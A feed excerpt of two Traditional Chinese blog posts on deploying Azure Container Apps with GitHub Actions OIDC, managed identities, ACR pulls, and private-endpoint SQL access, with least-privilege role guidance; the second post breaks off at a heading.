<li>App/ACR Resource Group：<code>rg-demo-stg-001</code></li>



<li>共用 Container Apps Environment：<code>cae-demo-stg-001</code></li>



<li>共用 CAE 所在 Resource Group：<code>rg-cae-demo-stg-001</code></li>



<li>ACR：<code>acrdemostg001.azurecr.io</code></li>



<li>SQL Server：<code>sql-demo-stg-001.database.windows.net</code></li>



<li>SQL Database：<code>demoproject-dev</code></li>



<li>SQL Private Endpoint：<code>pe-sql-demo-stg-001</code></li>



<li>VNet：<code>vnet-demo-stg-001</code></li>
</ul>



<p class="wp-block-paragraph">預期使用的兩個 Container App 是：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>App</th><th>用途</th><th>Environment</th></tr></thead><tbody><tr><td><code>ca-demo-backend-dev-001</code></td><td>Backend API</td><td><code>cae-demo-stg-001</code></td></tr><tr><td><code>ca-demo-frontend-dev-001</code></td><td>Frontend</td><td><code>cae-demo-stg-001</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">另外，情境中有一組不建議繼續使用的舊 App：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>App</th><th>舊 Environment</th><th>舊 image registry</th><th>問題</th></tr></thead><tbody><tr><td><code>ca-example-backend-dev-001</code></td><td><code>cae-example-dev-001</code></td><td><code>harbor.example.invalid</code></td><td>不在共用 CAE，也沒有正確接上 Azure ACR</td></tr><tr><td>舊 Frontend App</td><td><code>cae-example-dev-001</code></td><td>舊 Harbor</td><td>image 或 Nginx 設定可能仍指向舊 Backend</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">正確的目標架構</h2>



<p class="wp-block-paragraph">完整的部署與連線路徑應該是：</p>



<pre class="wp-block-code"><code>GitHub Actions
    │ OIDC，取得短期 token
    ▼
GitHub CI Service Principal
    │ AcrPush + Container App update
    ▼
Azure Container Registry
    │ image push
    ▼
Container App（共用 cae-demo-stg-001）
    │ App 自己的 system-assigned Managed Identity
    ├─ ACR AcrPull
    ├─ Key Vault secret get/list（如果 App 使用 Key Vault）
    └─ Azure SQL Entra token
          │
          ▼
    VNet + Private DNS + SQL Private Endpoint
          │
          ▼
    demoproject-dev</code></pre>



<p class="wp-block-paragraph">最重要的觀念是：</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">GitHub Actions 的 Service Principal 負責部署，不是執行中的 App。<br>真正需要 pull image 和連 SQL 的，是各個 Container App 自己的 Managed Identity。</p>
</blockquote>



<h2 class="wp-block-heading">CI/CD 的正確流程</h2>



<h3 class="wp-block-heading">1. GitHub Actions 使用 OIDC 登入 Azure</h3>



<p class="wp-block-paragraph">GitHub Actions 不應把長期的 Azure client secret 放在 repository。建議使用 OIDC：</p>



<pre class="wp-block-code"><code>- name: Login to Azure
  uses: azure/login@v2
  with:
    client-id: ${{ vars.AZURE_CLIENT_ID }}
    tenant-id: ${{ vars.AZURE_TENANT_ID }}
    subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }}</code></pre>



<p class="wp-block-paragraph">示範用的 Federated Credential subject 是：</p>



<pre class="wp-block-code"><code>repo:example-company/demo-backend:ref:refs/heads/main</code></pre>



<p class="wp-block-paragraph">如果 workflow 使用 GitHub Environment，例如 <code>staging</code>，subject 和 variables 的 scope 都要跟 GitHub Environment 的設定一致，不能只改其中一邊。</p>



<h3 class="wp-block-heading">2. CI 身分將 image push 到 ACR</h3>



<p class="wp-block-paragraph">示範用的 image repository 是：</p>



<pre class="wp-block-code"><code>acrdemostg001.azurecr.io/demo-backend:&lt;github.sha&gt;</code></pre>



<p class="wp-block-paragraph">GitHub CI Service Principal 需要 <code>AcrPush</code>，但不需要 runtime <code>AcrPull</code>。</p>



<pre class="wp-block-code"><code>AcrPush = GitHub Actions 將 image 推進 ACR
AcrPull = Container App 啟動時從 ACR 拉出 image</code></pre>



<p class="wp-block-paragraph"><code>demo-backend</code> 在第一次成功 <code>docker push</code> 前可能還不會出現在 ACR repository list 中。ACR 通常會在第一次 push 時建立 repository，這不是權限錯誤。</p>



<h3 class="wp-block-heading">3. CI 身分更新正確的 Container App</h3>



<p class="wp-block-paragraph">部署 Backend 時，target 應該是位於共用 CAE 的 App：</p>



<pre class="wp-block-code"><code>az containerapp update \
  --resource-group rg-demo-stg-001 \
  --name ca-demo-backend-dev-001 \
  --image acrdemostg001.azurecr.io/demo-backend:${GITHUB_SHA}</code></pre>



<p class="wp-block-paragraph">這個指令成功只代表 Azure 接受了 App 設定更新，不代表新的 revision 一定能啟動。接下來還要檢查 runtime identity 是否能 pull image。</p>



<h3 class="wp-block-heading">4. Container App 使用自己的 Managed Identity pull image</h3>



<p class="wp-block-paragraph">Backend 和 Frontend 都要各自完成以下設定：</p>



<ul class="wp-block-list">
<li>啟用 system-assigned Managed Identity。</li>



<li>將該 App 的 identity 在 ACR scope 授予 <code>AcrPull</code>。</li>



<li>將 Container App registry authentication 設為 <code>identity: system</code>。</li>
</ul>



<p class="wp-block-paragraph">可用以下指令設定 registry identity：</p>



<pre class="wp-block-code"><code>az containerapp registry set \
  --resource-group rg-demo-stg-001 \
  --name ca-demo-backend-dev-001 \
  --server acrdemostg001.azurecr.io \
  --identity system</code></pre>



<p class="wp-block-paragraph">Frontend App 也要使用相同方式設定，只是 <code>--name</code> 改為 <code>ca-demo-frontend-dev-001</code>。</p>



<p class="wp-block-paragraph">檢查 App identity、Environment、registry 與 image：</p>



<pre class="wp-block-code"><code>az containerapp show \
  --resource-group rg-demo-stg-001 \
  --name ca-demo-backend-dev-001 \
  --query "{identity:identity,environment:properties.managedEnvironmentId,registries:properties.configuration.registries&#91;].{server:server,identity:identity},images:properties.template.containers&#91;].image}" \
  -o json</code></pre>



<p class="wp-block-paragraph">檢查 runtime identity 是否有 ACR <code>AcrPull</code>：</p>



<pre class="wp-block-code"><code>az role assignment list \
  --assignee-object-id &lt;BACKEND_APP_PRINCIPAL_ID&gt; \
  --scope "$(az acr show \
    --resource-group rg-demo-stg-001 \
    --name acrdemostg001 \
    --query id -o tsv)" \
  --query "&#91;].{role:roleDefinitionName,scope:scope}" \
  -o table</code></pre>



<p class="wp-block-paragraph">Frontend 使用自己的 <code>&lt;FRONTEND_APP_PRINCIPAL_ID&gt;</code> 查詢，不要共用 Backend 的 identity。</p>



<p class="wp-block-paragraph">如果 App 沒有 <code>AcrPull</code>，常見結果是：</p>



<ul class="wp-block-list">
<li><code>az containerapp update</code> 指令本身成功。</li>



<li>revision 建立了，但狀態是 <code>ActivationFailed</code>。</li>



<li>logs 或 revision events 出現 image pull、registry authentication 或 unauthorized 錯誤。</li>
</ul>



<p class="wp-block-paragraph">這時應該補在 <strong>Container App 的 Managed Identity</strong>，不能把 <code>AcrPull</code> 加到 GitHub OIDC Service Principal 代替。</p>



<h2 class="wp-block-heading">Backend 存取 SQL Database</h2>



<h3 class="wp-block-heading">SQL 身分的分工</h3>



<p class="wp-block-paragraph">Backend 不應把 SQL username/password 寫進 GitHub Secrets 或 container environment。建議使用：</p>



<ol class="wp-block-list">
<li>Backend App 的 system-assigned Managed Identity 取得 Microsoft Entra token。</li>



<li>SQL Entra administrator 在 <code>demoproject-dev</code> 建立對應的 contained user。</li>



<li>只授予 Backend 實際需要的 database roles。</li>
</ol>



<p class="wp-block-paragraph">示範用的 database URL 概念如下：</p>



<pre class="wp-block-code"><code>sqlserver://sql-demo-stg-001.database.windows.net:1433
  ?database=demoproject-dev
  &amp;encrypt=true
  &amp;trustservercertificate=false
  &amp;fedauth=ActiveDirectoryManagedIdentity
  &amp;useMsi=true</code></pre>



<h3 class="wp-block-heading">建立 contained user 與 database roles</h3>



<p class="wp-block-paragraph">以下 SQL 必須由 SQL Microsoft Entra administrator 或有足夠 database 權限的管理者，在 <code>demoproject-dev</code> database 執行：</p>



<pre class="wp-block-code"><code>CREATE USER &#91;ca-demo-backend-dev-001] FROM EXTERNAL PROVIDER;</code></pre>



<p class="wp-block-paragraph">再依照應用程式需要授予角色：</p>



<pre class="wp-block-code"><code>ALTER ROLE &#91;db_datareader]
ADD MEMBER &#91;ca-demo-backend-dev-001];

ALTER ROLE &#91;db_datawriter]
ADD MEMBER &#91;ca-demo-backend-dev-001];

-- 只有需要由 App 執行 schema migration 時才授予
ALTER ROLE &#91;db_ddladmin]
ADD MEMBER &#91;ca-demo-backend-dev-001];</code></pre>



<p class="wp-block-paragraph">這些是 SQL Database 裡的 data-plane permissions，不是 Azure Resource Group RBAC。因此 <code>az role assignment list</code> 看不到 <code>db_datareader</code>、<code>db_datawriter</code> 或 <code>db_ddladmin</code> membership。</p>



<p class="wp-block-paragraph">可以在 SQL 中確認：</p>



<pre class="wp-block-code"><code>SELECT
    dp.name AS database_principal,
    rp.name AS database_role
FROM sys.database_role_members AS drm
JOIN sys.database_principals AS rp
    ON rp.principal_id = drm.role_principal_id
JOIN sys.database_principals AS dp
    ON dp.principal_id = drm.member_principal_id
WHERE dp.name = N'ca-demo-backend-dev-001';</code></pre>



<p class="wp-block-paragraph">Frontend 不需要 SQL 權限，也不應為 Frontend 建立 SQL contained user。</p>



<h2 class="wp-block-heading">SQL 網路路徑</h2>



<p class="wp-block-paragraph">即使 SQL user/roles 都正確，網路不通時仍然無法連線。</p>



<p class="wp-block-paragraph">Demo 情境中的網路設計是：</p>



<ul class="wp-block-list">
<li><code>pe-sql-demo-stg-001</code> 的狀態為 Approved。</li>



<li>Private DNS zone <code>privatelink.database.windows.net</code> 連結到 <code>vnet-demo-stg-001</code>。</li>



<li>共用 <code>cae-demo-stg-001</code> 有正確的 VNet/infrastructure subnet 路徑。</li>



<li>App 放在共用 CAE，才能透過 Private Endpoint 解析並連線到 SQL。</li>
</ul>



<p class="wp-block-paragraph">舊的 <code>cae-example-dev-001</code> 沒有這條 infrastructure subnet 路徑，因此不適合作為需要存取 Private SQL 的 target。</p>



<p class="wp-block-paragraph">看到下面的錯誤時，優先檢查 CAE、VNet、Private DNS 和 Private Endpoint：</p>



<pre class="wp-block-code"><code>Client with IP address ... is not allowed to access the server</code></pre>



<p class="wp-block-paragraph">不要為了繞過問題，直接把 SQL firewall 開成 <code>0.0.0.0</code>。這會把網路問題變成不必要的公開暴露。</p>



<p class="wp-block-paragraph">看到下面的錯誤時，優先檢查 Managed Identity、contained user 和 database roles：</p>



<pre class="wp-block-code"><code>Login failed</code></pre>



<h2 class="wp-block-heading">開發者帳號能做什麼</h2>



<p class="wp-block-paragraph">示範開發者帳號是 <code>demo.user@example.com</code>，在 demo tenant 中的 UPN 示意如下：</p>



<pre class="wp-block-code"><code>demo_user_example.com#EXT#@exampletenant.onmicrosoft.com</code></pre>



<p class="wp-block-paragraph">示範直接授予的 Azure roles：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Scope</th><th>Role</th><th>可以做什麼</th></tr></thead><tbody><tr><td><code>rg-demo-stg-001</code></td><td><code>Contributor</code></td><td>在 App RG 建立、更新、刪除 Container App</td></tr><tr><td><code>rg-demo-stg-001</code></td><td><code>Reader</code></td><td>讀取 RG 資源</td></tr><tr><td><code>acrdemostg001</code></td><td><code>AcrPush</code></td><td>Push image 到 ACR</td></tr><tr><td><code>cae-demo-stg-001</code></td><td><code>Reader</code></td><td>讀取共用 CAE 設定</td></tr><tr><td><code>cae-demo-stg-001</code></td><td><code>Container Apps Environment Joiner</code></td><td>建立 App 時加入共用 CAE</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">因此，這個帳號可以：</p>



<ul class="wp-block-list">
<li>建立或更新 App。</li>



<li>將 App 放進共用 <code>cae-demo-stg-001</code>。</li>



<li>Push image 到 ACR。</li>
</ul>



<p class="wp-block-paragraph">但這個帳號不能：</p>



<ul class="wp-block-list">
<li>建立 Azure RBAC role assignment。</li>



<li>替新的 App 授予 ACR <code>AcrPull</code>。</li>



<li>修改 SQL Private Endpoint、VNet 或 SQL firewall。</li>



<li>在 <code>demoproject-dev</code> 建立 Entra contained user。</li>



<li>授予或修改 SQL database roles。</li>
</ul>



<p class="wp-block-paragraph">這是刻意的權限邊界：開發者可以部署應用程式，但不能自行擴大 App 的 Azure 權限或資料庫權限。需要新增 <code>AcrPull</code> 或 SQL user/roles 時，應請平台管理者或 SQL Entra administrator 處理。</p>



<h2 class="wp-block-heading">舊 App 如何切換到共用 CAE</h2>



<p class="wp-block-paragraph">Azure Container Apps 沒有提供用 <code>az containerapp update</code> 直接切換 Environment 的參數。既有 App 不能像更新 image 一樣，直接從：</p>



<pre class="wp-block-code"><code>cae-example-dev-001</code></pre>



<p class="wp-block-paragraph">搬到：</p>



<pre class="wp-block-code"><code>cae-demo-stg-001</code></pre>



<p class="wp-block-paragraph">較安全的切換方式是：</p>



<ol class="wp-block-list">
<li>在共用 CAE 建立新的 Container App，或使用已準備好的 <code>ca-demo-backend-dev-001</code> / <code>ca-demo-frontend-dev-001</code>。</li>



<li>逐項複製必要的 environment variables、secrets、ingress、domain、scale 和 traffic 設定。</li>



<li>啟用新 App 的 system-assigned Managed Identity。</li>



<li>由平台管理者授予新 identity ACR <code>AcrPull</code>。</li>



<li>由 SQL Entra administrator 替新的 Backend identity 建立 SQL user/roles。</li>



<li>將 CI/CD 的 target App name 改成新的 App。</li>



<li>驗證 revision、logs、API、Frontend URL、ACR pull 與 SQL 連線。</li>



<li>新 App 穩定後，才考慮移除舊 App。</li>
</ol>



<p class="wp-block-paragraph">不要先刪除舊 App 再重建，因為可能遺失 secrets、domain、ingress、traffic 和原本的部署設定。</p>



<h2 class="wp-block-heading">Frontend 的特別注意事項</h2>



<p class="wp-block-paragraph">Frontend 只需要：</p>



<ul class="wp-block-list">
<li>從 ACR pull image。</li>



<li>連到正確的 Backend URL。</li>



<li>必要時讀取自己的 Key Vault secrets。</li>
</ul>



<p class="wp-block-paragraph">Frontend 不需要 <code>demoproject-dev</code> 的 SQL roles。</p>



<p class="wp-block-paragraph">如果 Frontend revision 是 <code>ActivationFailed</code>，但 <code>AcrPull</code> 已經正確，請檢查：</p>



<ul class="wp-block-list">
<li>image 內的 Nginx upstream 設定。</li>



<li><code>BACKEND_URL</code> 或其他 Backend endpoint environment variable。</li>



<li>image 是否仍然包含舊的 <code>backend.legacy.example.invalid</code> hostname。</li>



<li>新 image 是否真的已 push 到 ACR，且 App 使用了正確 tag。</li>
</ul>



<p class="wp-block-paragraph">這類問題通常是 image/configuration 問題，不是 SQL 權限問題。</p>



<h2 class="wp-block-heading">建議的執行順序</h2>



<p class="wp-block-paragraph">平台管理者與開發團隊可以依照以下順序處理：</p>



<ol class="wp-block-list">
<li>確認 GitHub OIDC Federated Credential 的 repository、branch 和 Environment subject 正確。</li>



<li>確認 CI Service Principal 只有部署所需的 <code>Contributor</code>、<code>AcrPush</code> 等角色。</li>



<li>確認 Backend 和 Frontend 都位於 <code>cae-demo-stg-001</code>。</li>



<li>啟用兩個 App 的 system-assigned identity。</li>



<li>對兩個 App identity 各自授予 ACR <code>AcrPull</code>。</li>



<li>執行 <code>az containerapp registry set --identity system</code>。</li>



<li>由 SQL Entra administrator 建立 Backend contained user 和必要 roles。</li>



<li>確認 CAE、VNet、Private DNS、Private Endpoint 的網路路徑。</li>



<li>只啟用一條正式部署路徑，避免舊 pipeline 和 Azure CI/CD 同時更新同一個 App。</li>



<li>做一次受控部署，逐項檢查 image、revision、logs、API、Frontend 和 SQL。</li>
</ol>



<h2 class="wp-block-heading">部署後驗證指令</h2>



<h3 class="wp-block-heading">確認 ACR image tag</h3>



<pre class="wp-block-code"><code>az acr repository show-tags \
  --name acrdemostg001 \
  --repository demo-backend \
  --orderby time_desc \
  --top 5 \
  -o table</code></pre>



<h3 class="wp-block-heading">確認 Backend revision</h3>



<pre class="wp-block-code"><code>az containerapp revision list \
  --resource-group rg-demo-stg-001 \
  --name ca-demo-backend-dev-001 \
  --query "&#91;].{name:name,health:properties.healthState,running:properties.runningState,traffic:properties.trafficWeight}" \
  -o table</code></pre>



<p class="wp-block-paragraph">正常情況應看到 revision 為 <code>Healthy</code>，且 running state 正常。若 revision 建立成功但沒有 running，請查 revision events 和 container logs。</p>



<h3 class="wp-block-heading">查看 Backend logs</h3>



<pre class="wp-block-code"><code>az containerapp logs show \
  --resource-group rg-demo-stg-001 \
  --name ca-demo-backend-dev-001 \
  --type console \
  --tail 100</code></pre>



<h3 class="wp-block-heading">最後確認的成功條件</h3>



<ul class="wp-block-list">
<li>GitHub Actions OIDC login 成功。</li>



<li>image 成功 push 到 <code>acrdemostg001.azurecr.io</code>。</li>



<li>Backend 和 Frontend revision 能從 ACR pull image。</li>



<li>Backend revision 為 <code>Healthy / Running</code>。</li>



<li>Backend 能以 Managed Identity 取得 SQL token。</li>



<li>SQL contained user 與必要 roles 存在。</li>



<li>Backend 能連線到 <code>demoproject-dev</code>。</li>



<li>Frontend 使用新的 Backend URL。</li>



<li>舊的部署系統不會再覆蓋 Azure CI/CD 的結果。</li>
</ul>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-ci-cd/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Azure Container Apps 與 GitHub OIDC 無密碼部署實戰：新團隊安全上手指南</title>
		<link>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-github-oidc/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/09/azure-container-apps-github-oidc/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Sun, 13 Sep 2026 03:49:54 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8757</guid>

					<description><![CDATA[企業或專案引進「新開發團隊」接手部署時，常見的權...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="572" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_5923070288072847847_clean-1024x572.jpg?v=1789271607" alt="" class="wp-image-8760" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_5923070288072847847_clean-1024x572.jpg?v=1789271607 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_5923070288072847847_clean-600x335.jpg?v=1789271607 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_5923070288072847847_clean-767x428.jpg?v=1789271607 767w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/09/watermarked_img_5923070288072847847_clean.jpg?v=1789271607 1376w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">企業或專案引進「新開發團隊」接手部署時，常見的權限混亂、安全風險與網路連線問題。主要包含以下四大核心問題：</p>



<ul class="wp-block-list">
<li><strong>權限與安全問題</strong>：避免為了部署而過度授予高風險權限（例如 Azure Owner 或 SQL 權限），並改用 GitHub Actions OIDC 取代長期保存的明文金鑰（ secrets ）。</li>



<li><strong>責任分工不明確</strong>：清楚劃分「平台管理者」與「開發團隊」的職責邊界，防止開發團隊誤動基礎架構（如 SQL Firewall、VNet ）。</li>



<li><strong>網路連線與架構問題</strong>：解決 Container App 因未走正確的 VNet 與 Private Endpoint 導致無法連線至 Azure SQL Database 的問題。</li>



<li><strong>新手上手缺乏規範</strong>：提供明確的跨團隊開發指南、 CI/CD 自動化流程範本與開通檢查表，縮短團隊上手時間。</li>
</ul>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><code>demoproject</code>&nbsp;與&nbsp;<code>ExampleOrg</code>&nbsp;只是示範名稱。正式環境使用前，必須由 平台管理者替換所有&nbsp;<code>&lt;PLACEHOLDER&gt;</code>&nbsp;與範例資源名稱，並確認權限範圍。</p>
</blockquote>



<h2 class="wp-block-heading">1. 先看結論</h2>



<p class="wp-block-paragraph">新加入的開發團隊平常只需要：</p>



<ol class="wp-block-list">
<li>取得 GitHub repository 與必要的 Azure RBAC 權限。</li>



<li>使用平台管理者準備好的共用 Container Apps Environment。</li>



<li>透過 GitHub Actions OIDC 登入 Azure，不使用長期 client secret。</li>



<li>Build Docker image、push 到 ACR、更新既有 Container App。</li>



<li>透過 revision 與 logs 查看部署結果。</li>
</ol>



<p class="wp-block-paragraph">新加入的開發團隊<strong>不需要</strong>：</p>



<ul class="wp-block-list">
<li>Azure <code>Owner</code>。</li>



<li>SQL Resource Group 的 <code>Contributor</code>。</li>



<li>直接修改 SQL firewall、Private Endpoint、VNet 或 Private DNS。</li>



<li>在 GitHub repository 中存放 SQL 密碼或應用程式 secrets。</li>



<li>每次部署都執行完整的基礎資源建立流程。</li>
</ul>



<p class="wp-block-paragraph">應用程式連接 SQL 的權限不是由 GitHub Actions Service Principal 提供， 而是由 Backend Container App 自己的 Managed Identity 在資料庫中取得。</p>



<h2 class="wp-block-heading">2. Azure 服務白話說明</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th class="has-text-align-left" data-align="left">Azure 服務或名詞</th><th class="has-text-align-left" data-align="left">白話說明</th><th class="has-text-align-left" data-align="left">DemoProject 用途</th></tr></thead><tbody><tr><td>Subscription</td><td>Azure 帳單與資源的管理範圍</td><td><code>&lt;SUBSCRIPTION_NAME&gt;</code></td></tr><tr><td>Resource Group（RG）</td><td>把相關 Azure 資源放在一起的資料夾</td><td>App、ACR、CAE、SQL 分開管理</td></tr><tr><td>Azure Container Registry（ACR）</td><td>存放 Docker image 的私有倉庫</td><td>CI push image</td></tr><tr><td>Container Apps Environment（CAE）</td><td>Container Apps 共用的執行環境與網路邊界</td><td>Backend、Frontend 共用</td></tr><tr><td>Container App（CA）</td><td>實際執行容器的 Azure 資源</td><td>執行 DemoProject Backend/Frontend</td></tr><tr><td>Virtual Network（VNet）</td><td>Azure 內部的私有網路</td><td>連接 CAE 與 SQL Private Endpoint</td></tr><tr><td>Private Endpoint（PE）</td><td>讓 Azure 服務在 VNet 內取得私有 IP</td><td>將 SQL 接到 VNet</td></tr><tr><td>Private DNS</td><td>讓 hostname 在 VNet 內解析到私有 IP</td><td>解析 SQL hostname</td></tr><tr><td>Azure SQL Server / Database</td><td>SQL Server 與其中的資料庫</td><td>存放 DemoProject 資料</td></tr><tr><td>Managed Identity</td><td>Azure 資源自己的身分，不需要存密碼</td><td>App 登入 SQL、ACR、Key Vault</td></tr><tr><td>Key Vault</td><td>集中存放 secret、憑證與金鑰</td><td>Backend runtime 讀取 secrets</td></tr><tr><td>Azure RBAC</td><td>管理 Azure 資源的控制權</td><td>決定誰能部署或修改 App</td></tr><tr><td>SQL database role</td><td>資料庫內的資料讀寫權限</td><td><code>db_datareader</code>、<code>db_datawriter</code>、<code>db_ddladmin</code></td></tr><tr><td>GitHub OIDC</td><td>GitHub workflow 使用短期 token 登入 Azure</td><td>CI 不存放 client secret</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Azure RBAC 與 SQL 權限不是同一件事</h3>



<ul class="wp-block-list">
<li>Azure <code>Contributor</code> 可以管理 Azure Resource Manager 資源，不等於可以 查詢 SQL table。</li>



<li>SQL <code>db_datareader</code> 可以讀資料，不等於可以修改 Azure SQL Server。</li>



<li>SQL <code>db_datawriter</code> 可以寫資料。</li>



<li>SQL <code>db_ddladmin</code> 可以執行部分資料庫結構變更，應只授予需要執行 migration 的 Backend identity。</li>



<li>SQL firewall 與 Private Endpoint 決定「網路能不能到 SQL」；資料庫 roles 只有在網路已連通後才會生效。</li>
</ul>



<h2 class="wp-block-heading">3. DemoProject 資源地圖</h2>



<p class="wp-block-paragraph">以下名稱全部是示範值：</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th class="has-text-align-left" data-align="left">用途</th><th class="has-text-align-left" data-align="left">Resource Group</th><th class="has-text-align-left" data-align="left">資源名稱</th></tr></thead><tbody><tr><td>Azure Container Registry</td><td><code>rg-demoproject-stg-app</code></td><td><code>acr-demoproject-stg.azurecr.io</code></td></tr><tr><td>Container Apps</td><td><code>rg-demoproject-stg-app</code></td><td><code>ca-demoproject-backend-stg</code>、<code>ca-demoproject-frontend-stg</code></td></tr><tr><td>共用 Container Apps Environment</td><td><code>rg-demoproject-stg-cae</code></td><td><code>cae-demoproject-stg</code></td></tr><tr><td>SQL Server / Database</td><td><code>rg-demoproject-stg-data</code></td><td><code>sql-demoproject-stg.database.windows.net</code>&nbsp;/&nbsp;<code>demoproject-dev</code></td></tr><tr><td>SQL Private Endpoint</td><td><code>rg-demoproject-stg-network</code></td><td><code>pe-demoproject-sql-stg</code></td></tr><tr><td>Key Vault</td><td><code>rg-demoproject-stg-app</code></td><td><code>kv-demoproject-stg</code></td></tr><tr><td>VNet</td><td><code>rg-demoproject-stg-network</code></td><td><code>vnet-demoproject-stg</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">3.1 建議的網路路徑</h3>



<pre class="wp-block-code"><code>Backend Container App
    |
    |  共用 CAE 的 VNet 網路
    v
vnet-demoproject-stg
    |
    |  Private DNS 將 SQL hostname 解析到私有 IP
    v
SQL Private Endpoint pe-demoproject-sql-stg
    |
    v
sql-demoproject-stg / demoproject-dev
</code></pre>



<p class="wp-block-paragraph">如果 Container App 位於沒有 VNet/private DNS 的獨立 CAE，它可能會透過 公網出口 IP 連線 SQL，並收到：</p>



<pre class="wp-block-code"><code>Client with IP address '...' is not allowed to access the server
</code></pre>



<p class="wp-block-paragraph">遇到這個錯誤時，先確認 App 所在 CAE 與 DNS 路徑，不要立刻把大量公網 IP 加進 SQL firewall。</p>



<h2 class="wp-block-heading">4. 權限模型</h2>



<h3 class="wp-block-heading">4.1 開發者與 CI 的建議權限</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th class="has-text-align-left" data-align="left">範圍</th><th class="has-text-align-left" data-align="left">建議角色/權限</th><th class="has-text-align-left" data-align="left">用途</th><th class="has-text-align-left" data-align="left">SQL data access</th></tr></thead><tbody><tr><td>既有 Backend Container App</td><td><code>Contributor</code>&nbsp;或專用 custom role</td><td>更新 image/revision</td><td>否</td></tr><tr><td>既有 Frontend Container App</td><td><code>Contributor</code>&nbsp;或專用 custom role</td><td>更新 image/revision</td><td>否</td></tr><tr><td>ACR</td><td><code>AcrPush</code></td><td>Docker image push</td><td>否</td></tr><tr><td>共用 CAE</td><td><code>Reader</code></td><td>讀取 CAE 設定</td><td>否</td></tr><tr><td>共用 CAE</td><td><code>Container Apps Environment Joiner</code></td><td>使用指定 CAE</td><td>否</td></tr><tr><td>SQL Resource Group</td><td>不授權</td><td>SQL 集中由管理者控管</td><td>否</td></tr><tr><td>Backend Managed Identity</td><td>SQL contained user + SQL roles</td><td>應用程式 runtime 連線 SQL</td><td>是</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><code>Container Apps Environment Joiner</code>&nbsp;應只包含：</p>



<pre class="wp-block-code"><code>Microsoft.App/managedEnvironments/join/action
</code></pre>



<p class="wp-block-paragraph">不要為了讓團隊部署而授予共用 CAE Resource Group 的&nbsp;<code>Contributor</code>。</p>



<h3 class="wp-block-heading">4.2 平台管理者與開發團隊分工</h3>



<p class="wp-block-paragraph">平台管理者一次性完成：</p>



<ol class="wp-block-list">
<li>建立 App Registration 與 Service Principal。</li>



<li>建立指定 repository、branch 或 GitHub Environment 的 Federated Credential。</li>



<li>在 ACR scope 授予 <code>AcrPush</code>。</li>



<li>在既有 Container App scope 授予更新權限。</li>



<li>在共用 CAE scope 授予 <code>Reader</code> 與 <code>Container Apps Environment Joiner</code>。</li>



<li>確認 App runtime Managed Identity 具備 ACR、Key Vault 與 SQL 權限。</li>



<li>確認 App 位於正確的 VNet/private DNS CAE。</li>
</ol>



<p class="wp-block-paragraph">開發團隊負責：</p>



<ol class="wp-block-list">
<li>維護 GitHub Actions workflow。</li>



<li>Build Docker image。</li>



<li>Push image 到 ACR。</li>



<li>更新既有 Container App。</li>



<li>查看 revision 與 logs。</li>
</ol>



<p class="wp-block-paragraph">開發團隊不應該：</p>



<ul class="wp-block-list">
<li>建立或刪除 Service Principal。</li>



<li>修改 SQL firewall、Private Endpoint、VNet 或 Private DNS。</li>



<li>將 App secrets 寫入 repository 或 workflow。</li>



<li>執行 SQL <code>CREATE USER</code>。</li>



<li>修改共用 CAE 的網路設定。</li>
</ul>



<h2 class="wp-block-heading">5. GitHub Actions OIDC</h2>



<h3 class="wp-block-heading">5.1 OIDC 如何運作</h3>



<pre class="wp-block-code"><code>GitHub push to main
        |
        | GitHub 發出短期 OIDC token
        v
GitHub Actions
        |
        | azure/login@v2
        v
Microsoft Entra App / Service Principal
        |
        | Federated Credential 比對 repo + branch/environment
        | Azure RBAC 比對允許的 scope
        v
ACR push -&gt; Container App update
</code></pre>



<p class="wp-block-paragraph">OIDC 不等於自動擁有 Azure 權限：</p>



<ul class="wp-block-list">
<li>Federated Credential 決定「哪個 GitHub workflow 可以登入」。</li>



<li>Azure RBAC 決定「登入後可以做什麼」。</li>
</ul>



<h3 class="wp-block-heading">5.2 新團隊專用 Service Principal</h3>



<p class="wp-block-paragraph">建議每個團隊、每個環境使用不同 Service Principal。不要讓所有團隊共用 一個可寫入 Staging 的 identity。</p>



<p class="wp-block-paragraph">以下是示範值：</p>



<pre class="wp-block-code"><code>SP display name: demoproject-team-a-staging-ci
Client ID:       &lt;APP_CLIENT_ID&gt;
Object ID:       &lt;SERVICE_PRINCIPAL_OBJECT_ID&gt;
Tenant ID:       &lt;TENANT_ID&gt;
Subscription ID: &lt;SUBSCRIPTION_ID&gt;
</code></pre>



<p class="wp-block-paragraph">不需要建立 client secret。</p>



<h3 class="wp-block-heading">5.3 角色配置範例</h3>



